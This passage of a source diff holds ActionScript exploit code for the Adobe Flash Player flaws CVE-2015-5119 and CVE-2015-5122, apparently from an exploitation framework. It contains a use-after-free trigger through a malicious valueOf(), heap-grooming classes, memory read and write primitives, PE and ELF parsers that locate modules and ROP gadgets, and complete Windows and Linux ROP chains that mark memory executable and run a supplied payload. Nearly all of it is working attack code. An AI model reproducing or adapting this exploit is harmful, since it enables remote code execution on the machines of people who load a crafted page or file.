private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
magic = ev.at(pos + 4) - 1
stub_space_object = ev.at(pos + 5) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
stub_address = ev.read(stub_space_object + 0x18)
magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0)
magic_table = ev.read(magic_object)
magic_arg0 = ev.read(magic + 0x1c)
magic_arg1 = ev.read(magic + 0x20)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
do_rop_windows()
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake stack on memory
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
for (var i:uint; i < 0x100; i++) {
eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4))
}
// VirtualProtect the stub with a *reliable* stackpivot
eba.write(stack_address + 8 + 0x80 + 28, virtualprotect)
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
eba.write(magic + 0x1c, stub_address)
eba.write(magic + 0x20, 0x10)
var args:Array = new Array(0x41)
Magic.call.apply(null, args);
// Call to our stackpivot and init the rop chain
eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8)
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
eba.write(magic + 0x1c, stack_address + 0x18000)
Magic.call.apply(null, null);
eba.write(magic_object, magic_table);
eba.write(magic + 0x1c, magic_arg0)
eba.write(magic + 0x20, magic_arg1)
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

View File

@ -0,0 +1,98 @@
package
{
import flash.display.DisplayObjectContainer;
import flash.utils.ByteArray;
import flash.system.Capabilities;
import flash.events.MouseEvent;
import flash.external.ExternalInterface;
public class MyClass
{
static var
_gc:Array,
_va:Array,
_ba:ByteArray,
_corrupted:Vector.<uint>,
_isDbg:Boolean = Capabilities.isDebugger;
// define malicious valueOf()
prototype.valueOf = function ()
{
Logger.log("MyClass.valueOf()");
_va = new Array(5);
_gc.push(_va); // protect from GC // for RnD
// reallocate _ba storage
_ba.length = 0x1100;
// reuse freed memory
for(var i:int; i < _va.length; i++)
_va[i] = new Vector.<uint>(0x3f0);
// return one byte for overwriting
return 0x40;
}
// try to corrupt the length value of Vector.<uint>
static function TryExpl(e:Exploit, platform:String, payload:ByteArray) : Boolean
{
Logger.log("tryexpl")
try
{
var alen:int = 90; // should be multiply of 3
var a = new Array(alen);
if (_gc == null) _gc = new Array();
_gc.push(a); // protect from GC // for RnD
// try to allocate two sequential pages of memory: [ ByteArray ][ MyClass2 ]
for(var i:int; i < alen; i+=3){
a[i] = new MyClass2(i);
a[i+1] = new ByteArray();
a[i+1].length = 0xfa0;
a[i+2] = new MyClass2(i+2);
}
// find these pages
for(i=alen-5; i >= 0; i-=3)
{
// take next allocated ByteArray
_ba = a[i];
// call valueOf() and cause UaF memory corruption
_ba[3] = new MyClass();
// _ba[3] should be unchanged 0
Logger.log("_ba[3] = " + _ba[3]);
if (_ba[3] != 0) throw new Error("can't cause UaF");
// check results // find corrupted vector
for (var j:int = 0; j < _va.length; j++) {
if (_va[j].length != 0x3f0) {
_corrupted = _va[j]
} else {
delete(_va[j])
_va[j] = null
}
}
if (_corrupted != null) {
Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16));
var exploiter:Exploiter = new Exploiter(e, platform, payload,_corrupted, 0x3f0)
Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16));
return true
}
}
Logger.log("bad allocation. try again.");
}
catch (e:Error)
{
Logger.log("TryExpl() " + e.toString());
}
return false;
}
}
}

View File

@ -0,0 +1,9 @@
package
{
import flash.utils.ByteArray;
class MyClass1 extends ByteArray
{
var o1:Object, o2:Object, o3:Object, o4:Object;
}
}

View File

@ -0,0 +1,115 @@
package
{
class MyClass2 extends MyClass1
{
var
// enlarge the MyClass2 size by dummy attributes
a0 :uint, a1 :uint, a2 :uint, a3 :uint, a4 :uint, a5 :uint, a6 :uint, a7 :uint, a8 :uint, a9 :uint,
a10:uint, a11:uint, a12:uint, a13:uint, a14:uint, a15:uint, a16:uint, a17:uint, a18:uint, a19:uint,
a20:uint, a21:uint, a22:uint, a23:uint, a24:uint, a25:uint, a26:uint, a27:uint, a28:uint, a29:uint,
a30:uint, a31:uint, a32:uint, a33:uint, a34:uint, a35:uint, a36:uint, a37:uint, a38:uint, a39:uint,
a40:uint, a41:uint, a42:uint, a43:uint, a44:uint, a45:uint, a46:uint, a47:uint, a48:uint, a49:uint,
a50:uint, a51:uint, a52:uint, a53:uint, a54:uint, a55:uint, a56:uint, a57:uint, a58:uint, a59:uint,
a60:uint, a61:uint, a62:uint, a63:uint, a64:uint, a65:uint, a66:uint, a67:uint, a68:uint, a69:uint,
a70:uint, a71:uint, a72:uint, a73:uint, a74:uint, a75:uint, a76:uint, a77:uint, a78:uint, a79:uint,
a80:uint, a81:uint, a82:uint, a83:uint, a84:uint, a85:uint, a86:uint, a87:uint, a88:uint, a89:uint,
a90:uint, a91:uint, a92:uint, a93:uint, a94:uint, a95:uint, a96:uint, a97:uint, a98:uint, a99:uint,
a100:uint, a101:uint, a102:uint, a103:uint, a104:uint, a105:uint, a106:uint, a107:uint, a108:uint, a109:uint,
a110:uint, a111:uint, a112:uint, a113:uint, a114:uint, a115:uint, a116:uint, a117:uint, a118:uint, a119:uint,
a120:uint, a121:uint, a122:uint, a123:uint, a124:uint, a125:uint, a126:uint, a127:uint, a128:uint, a129:uint,
a130:uint, a131:uint, a132:uint, a133:uint, a134:uint, a135:uint, a136:uint, a137:uint, a138:uint, a139:uint,
a140:uint, a141:uint, a142:uint, a143:uint, a144:uint, a145:uint, a146:uint, a147:uint, a148:uint, a149:uint,
a150:uint, a151:uint, a152:uint, a153:uint, a154:uint, a155:uint, a156:uint, a157:uint, a158:uint, a159:uint,
a160:uint, a161:uint, a162:uint, a163:uint, a164:uint, a165:uint, a166:uint, a167:uint, a168:uint, a169:uint,
a170:uint, a171:uint, a172:uint, a173:uint, a174:uint, a175:uint, a176:uint, a177:uint, a178:uint, a179:uint,
a180:uint, a181:uint, a182:uint, a183:uint, a184:uint, a185:uint, a186:uint, a187:uint, a188:uint, a189:uint,
a190:uint, a191:uint, a192:uint, a193:uint, a194:uint, a195:uint, a196:uint, a197:uint, a198:uint, a199:uint,
a200:uint, a201:uint, a202:uint, a203:uint, a204:uint, a205:uint, a206:uint, a207:uint, a208:uint, a209:uint,
a210:uint, a211:uint, a212:uint, a213:uint, a214:uint, a215:uint, a216:uint, a217:uint, a218:uint, a219:uint,
a220:uint, a221:uint, a222:uint, a223:uint, a224:uint, a225:uint, a226:uint, a227:uint, a228:uint, a229:uint,
a230:uint, a231:uint, a232:uint, a233:uint, a234:uint, a235:uint, a236:uint, a237:uint, a238:uint, a239:uint,
a240:uint, a241:uint, a242:uint, a243:uint, a244:uint, a245:uint, a246:uint, a247:uint, a248:uint, a249:uint,
a250:uint, a251:uint, a252:uint, a253:uint, a254:uint, a255:uint, a256:uint, a257:uint, a258:uint, a259:uint,
a260:uint, a261:uint, a262:uint, a263:uint, a264:uint, a265:uint, a266:uint, a267:uint, a268:uint, a269:uint,
a270:uint, a271:uint, a272:uint, a273:uint, a274:uint, a275:uint, a276:uint, a277:uint, a278:uint, a279:uint,
a280:uint, a281:uint, a282:uint, a283:uint, a284:uint, a285:uint, a286:uint, a287:uint, a288:uint, a289:uint,
a290:uint, a291:uint, a292:uint, a293:uint, a294:uint, a295:uint, a296:uint, a297:uint, a298:uint, a299:uint,
a300:uint, a301:uint, a302:uint, a303:uint, a304:uint, a305:uint, a306:uint, a307:uint, a308:uint, a309:uint,
a310:uint, a311:uint, a312:uint, a313:uint, a314:uint, a315:uint, a316:uint, a317:uint, a318:uint, a319:uint,
a320:uint, a321:uint, a322:uint, a323:uint, a324:uint, a325:uint, a326:uint, a327:uint, a328:uint, a329:uint,
a330:uint, a331:uint, a332:uint, a333:uint, a334:uint, a335:uint, a336:uint, a337:uint, a338:uint, a339:uint,
a340:uint, a341:uint, a342:uint, a343:uint, a344:uint, a345:uint, a346:uint, a347:uint, a348:uint, a349:uint,
a350:uint, a351:uint, a352:uint, a353:uint, a354:uint, a355:uint, a356:uint, a357:uint, a358:uint, a359:uint,
a360:uint, a361:uint, a362:uint, a363:uint, a364:uint, a365:uint, a366:uint, a367:uint, a368:uint, a369:uint,
a370:uint, a371:uint, a372:uint, a373:uint, a374:uint, a375:uint, a376:uint, a377:uint, a378:uint, a379:uint,
a380:uint, a381:uint, a382:uint, a383:uint, a384:uint, a385:uint, a386:uint, a387:uint, a388:uint, a389:uint,
a390:uint, a391:uint, a392:uint, a393:uint, a394:uint, a395:uint, a396:uint, a397:uint, a398:uint, a399:uint,
a400:uint, a401:uint, a402:uint, a403:uint, a404:uint, a405:uint, a406:uint, a407:uint, a408:uint, a409:uint,
a410:uint, a411:uint, a412:uint, a413:uint, a414:uint, a415:uint, a416:uint, a417:uint, a418:uint, a419:uint,
a420:uint, a421:uint, a422:uint, a423:uint, a424:uint, a425:uint, a426:uint, a427:uint, a428:uint, a429:uint,
a430:uint, a431:uint, a432:uint, a433:uint, a434:uint, a435:uint, a436:uint, a437:uint, a438:uint, a439:uint,
a440:uint, a441:uint, a442:uint, a443:uint, a444:uint, a445:uint, a446:uint, a447:uint, a448:uint, a449:uint,
a450:uint, a451:uint, a452:uint, a453:uint, a454:uint, a455:uint, a456:uint, a457:uint, a458:uint, a459:uint,
a460:uint, a461:uint, a462:uint, a463:uint, a464:uint, a465:uint, a466:uint, a467:uint, a468:uint, a469:uint,
a470:uint, a471:uint, a472:uint, a473:uint, a474:uint, a475:uint, a476:uint, a477:uint, a478:uint, a479:uint,
a480:uint, a481:uint, a482:uint, a483:uint, a484:uint, a485:uint, a486:uint, a487:uint, a488:uint, a489:uint,
a490:uint, a491:uint, a492:uint, a493:uint, a494:uint, a495:uint, a496:uint, a497:uint, a498:uint, a499:uint,
a500:uint, a501:uint, a502:uint, a503:uint, a504:uint, a505:uint, a506:uint, a507:uint, a508:uint, a509:uint,
a510:uint, a511:uint, a512:uint, a513:uint, a514:uint, a515:uint, a516:uint, a517:uint, a518:uint, a519:uint,
a520:uint, a521:uint, a522:uint, a523:uint, a524:uint, a525:uint, a526:uint, a527:uint, a528:uint, a529:uint,
a530:uint, a531:uint, a532:uint, a533:uint, a534:uint, a535:uint, a536:uint, a537:uint, a538:uint, a539:uint,
a540:uint, a541:uint, a542:uint, a543:uint, a544:uint, a545:uint, a546:uint, a547:uint, a548:uint, a549:uint,
a550:uint, a551:uint, a552:uint, a553:uint, a554:uint, a555:uint, a556:uint, a557:uint, a558:uint, a559:uint,
a560:uint, a561:uint, a562:uint, a563:uint, a564:uint, a565:uint, a566:uint, a567:uint, a568:uint, a569:uint,
a570:uint, a571:uint, a572:uint, a573:uint, a574:uint, a575:uint, a576:uint, a577:uint, a578:uint, a579:uint,
a580:uint, a581:uint, a582:uint, a583:uint, a584:uint, a585:uint, a586:uint, a587:uint, a588:uint, a589:uint,
a590:uint, a591:uint, a592:uint, a593:uint, a594:uint, a595:uint, a596:uint, a597:uint, a598:uint, a599:uint,
a600:uint, a601:uint, a602:uint, a603:uint, a604:uint, a605:uint, a606:uint, a607:uint, a608:uint, a609:uint,
a610:uint, a611:uint, a612:uint, a613:uint, a614:uint, a615:uint, a616:uint, a617:uint, a618:uint, a619:uint,
a620:uint, a621:uint, a622:uint, a623:uint, a624:uint, a625:uint, a626:uint, a627:uint, a628:uint, a629:uint,
a630:uint, a631:uint, a632:uint, a633:uint, a634:uint, a635:uint, a636:uint, a637:uint, a638:uint, a639:uint,
a640:uint, a641:uint, a642:uint, a643:uint, a644:uint, a645:uint, a646:uint, a647:uint, a648:uint, a649:uint,
a650:uint, a651:uint, a652:uint, a653:uint, a654:uint, a655:uint, a656:uint, a657:uint, a658:uint, a659:uint,
a660:uint, a661:uint, a662:uint, a663:uint, a664:uint, a665:uint, a666:uint, a667:uint, a668:uint, a669:uint,
a670:uint, a671:uint, a672:uint, a673:uint, a674:uint, a675:uint, a676:uint, a677:uint, a678:uint, a679:uint,
a680:uint, a681:uint, a682:uint, a683:uint, a684:uint, a685:uint, a686:uint, a687:uint, a688:uint, a689:uint,
a690:uint, a691:uint, a692:uint, a693:uint, a694:uint, a695:uint, a696:uint, a697:uint, a698:uint, a699:uint,
a700:uint, a701:uint, a702:uint, a703:uint, a704:uint, a705:uint, a706:uint, a707:uint, a708:uint, a709:uint,
a710:uint, a711:uint, a712:uint, a713:uint, a714:uint, a715:uint, a716:uint, a717:uint, a718:uint, a719:uint,
a720:uint, a721:uint, a722:uint, a723:uint, a724:uint, a725:uint, a726:uint, a727:uint, a728:uint, a729:uint,
a730:uint, a731:uint, a732:uint, a733:uint, a734:uint, a735:uint, a736:uint, a737:uint, a738:uint, a739:uint,
a740:uint, a741:uint, a742:uint, a743:uint, a744:uint, a745:uint, a746:uint, a747:uint, a748:uint, a749:uint,
a750:uint, a751:uint, a752:uint, a753:uint, a754:uint, a755:uint, a756:uint, a757:uint, a758:uint, a759:uint,
a760:uint, a761:uint, a762:uint, a763:uint, a764:uint, a765:uint, a766:uint, a767:uint, a768:uint, a769:uint,
a770:uint, a771:uint, a772:uint, a773:uint, a774:uint, a775:uint, a776:uint, a777:uint, a778:uint, a779:uint,
a780:uint, a781:uint, a782:uint, a783:uint, a784:uint, a785:uint, a786:uint, a787:uint, a788:uint, a789:uint,
a790:uint, a791:uint, a792:uint, a793:uint, a794:uint, a795:uint, a796:uint, a797:uint, a798:uint, a799:uint,
a800:uint, a801:uint, a802:uint, a803:uint, a804:uint, a805:uint, a806:uint, a807:uint, a808:uint, a809:uint,
a810:uint, a811:uint, a812:uint, a813:uint, a814:uint, a815:uint, a816:uint, a817:uint, a818:uint, a819:uint,
a820:uint, a821:uint, a822:uint, a823:uint, a824:uint, a825:uint, a826:uint, a827:uint, a828:uint, a829:uint,
a830:uint, a831:uint, a832:uint, a833:uint, a834:uint, a835:uint, a836:uint, a837:uint, a838:uint, a839:uint,
a840:uint, a841:uint, a842:uint, a843:uint, a844:uint, a845:uint, a846:uint, a847:uint, a848:uint, a849:uint,
a850:uint, a851:uint, a852:uint, a853:uint, a854:uint, a855:uint, a856:uint, a857:uint, a858:uint, a859:uint,
a860:uint, a861:uint, a862:uint, a863:uint, a864:uint, a865:uint, a866:uint, a867:uint, a868:uint, a869:uint,
a870:uint, a871:uint, a872:uint, a873:uint, a874:uint, a875:uint, a876:uint, a877:uint, a878:uint, a879:uint,
a880:uint, a881:uint, a882:uint, a883:uint, a884:uint, a885:uint, a886:uint, a887:uint, a888:uint, a889:uint,
a890:uint, a891:uint, a892:uint, a893:uint, a894:uint, a895:uint, a896:uint, a897:uint, a898:uint, a899:uint
// constructor
function MyClass2(id:int)
{
o1 = this;
a0 = id;
for(var i:int=1; i < 64; i++) this["a"+i] = 0x11223344;
}
}
}

72
external/source/exploits/CVE-2015-5119/PE.as vendored Executable file
View File

@ -0,0 +1,72 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

235
external/source/exploits/CVE-2015-5122/Elf.as vendored Executable file
View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,34 @@
package
{
import flash.display.Sprite
import flash.events.Event
import mx.utils.Base64Decoder
import flash.display.LoaderInfo
import flash.utils.ByteArray
public class Exploit extends Sprite
{
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
public function Exploit():void
{
if (stage) init();
else addEventListener(Event.ADDED_TO_STAGE, init);
}
private function init(e:Event = null):void
{
